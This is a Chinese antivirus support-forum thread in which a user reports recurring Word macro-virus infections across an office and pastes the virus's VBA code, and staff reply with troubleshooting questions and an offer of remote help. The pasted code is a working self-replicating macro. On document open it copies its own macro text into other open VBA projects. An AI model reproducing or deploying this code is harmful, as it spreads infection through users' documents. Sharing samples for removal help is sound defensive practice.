反复中word宏病毒，全盘查杀，杀完接着中，无语中

反复中word宏病毒，全盘查杀，杀完接着中，无语中。
附件是中毒文件，含宏代码，请360工作人员给个解决方案，谢谢！

————————————————————————————————

Private Sub Document_Open()

Dim MACROTEXT As String

\'Dim AA As VBComponent

For I = 1 To VBE.VBProjects.Count

On Error GoTo 11

P =VBE.VBProjects(I).FileName

B =Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, \".\") - 1)

A =VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name

R =InStrRev(P, \"\\\")

S =IIf(InStr(1, P, \".\") > 0, Len(P) - InStr(1, P, \".\") + 1,0)

SetAA = VBE.VBProjects(I).VBComponents(1)

LOCALLINES = AA.CodeModule.CountOfLines

MACROTEXT = AA.CodeModule.Lines(1,AA.CodeModule.CountOfLines)

ExitFor

11: Err.Clear

Next I

For I = 1 To VBE.VBProjects.Count

B =Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, \".\") - 1)

A =VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name

On Error GoTo 12

P =VBE.VBProjects(I).Name

R =InStrRev(P, \"\\\")

S =IIf(InStr(1, P, \".\") > 0, Len(P) - InStr(1, P, \".\") + 1,0)

C =Mid(P, R + 1, Len(P) - R - S)

12:

If B <> C And LOCALLINES >VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then

Err.Clear

Set AA = VBE.VBProjects(I).VBComponents(1)

AA.CodeModule.AddFromString (MACROTEXT)

  

EndIf

Next I

End Sub

Private Sub Document_Open1()

Dim MACROTEXT As String

\'Dim AA As VBComponent

For I = 1 To VBE.VBProjects.Count

On Error GoTo 11

P =VBE.VBProjects(I).FileName

B =Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, \".\") - 1)

A =VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name

R =InStrRev(P, \"\\\")

S =IIf(InStr(1, P, \".\") > 0, Len(P) - InStr(1, P, \".\") + 1,0)

C =Mid(P, R + 1, Len(P) - R - S)

If B= C Then

SetAA = VBE.VBProjects(I).VBComponents(1)

LOCALLINES = AA.CodeModule.CountOfLines

MACROTEXT = AA.CodeModule.Lines(1,AA.CodeModule.CountOfLines)

ExitFor

EndIf

11: Err.Clear

Next I

For I = 1 To VBE.VBProjects.Count

B =Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, \".\") - 1)

A =VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name

On Error GoTo 12

P =VBE.VBProjects(I).Name

R =InStrRev(P, \"\\\")

S =IIf(InStr(1, P, \".\") > 0, Len(P) - InStr(1, P, \".\") + 1,0)

C =Mid(P, R + 1, Len(P) - R - S)

12:

If B <> C And LOCALLINES >VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then

Err.Clear

Set AA = VBE.VBProjects(I).VBComponents(1)

AA.CodeModule.AddFromString (MACROTEXT)

  

EndIf

Next I

End Sub

这个是病毒提示。

您是否在杀毒信任名单中添加过信任？可以先尝试接触信任再全盘查杀。如果没有的话。需要您添加一下工作人员QQ3128820286（添加时注明问题）

360fans_uid19400513 发表于 2016-6-27 11:03
您是否在杀毒信任名单中添加过信任？可以先尝试接触信任再全盘查杀。如果没有的话。需要您添加一下工作人员 ...

未添加系统白名单，未添加文件白名单。
我现在全盘查杀再看看，公司的办公环境不好，好多人员中毒，交叉感染~~~

留下联系方式，我远程看看。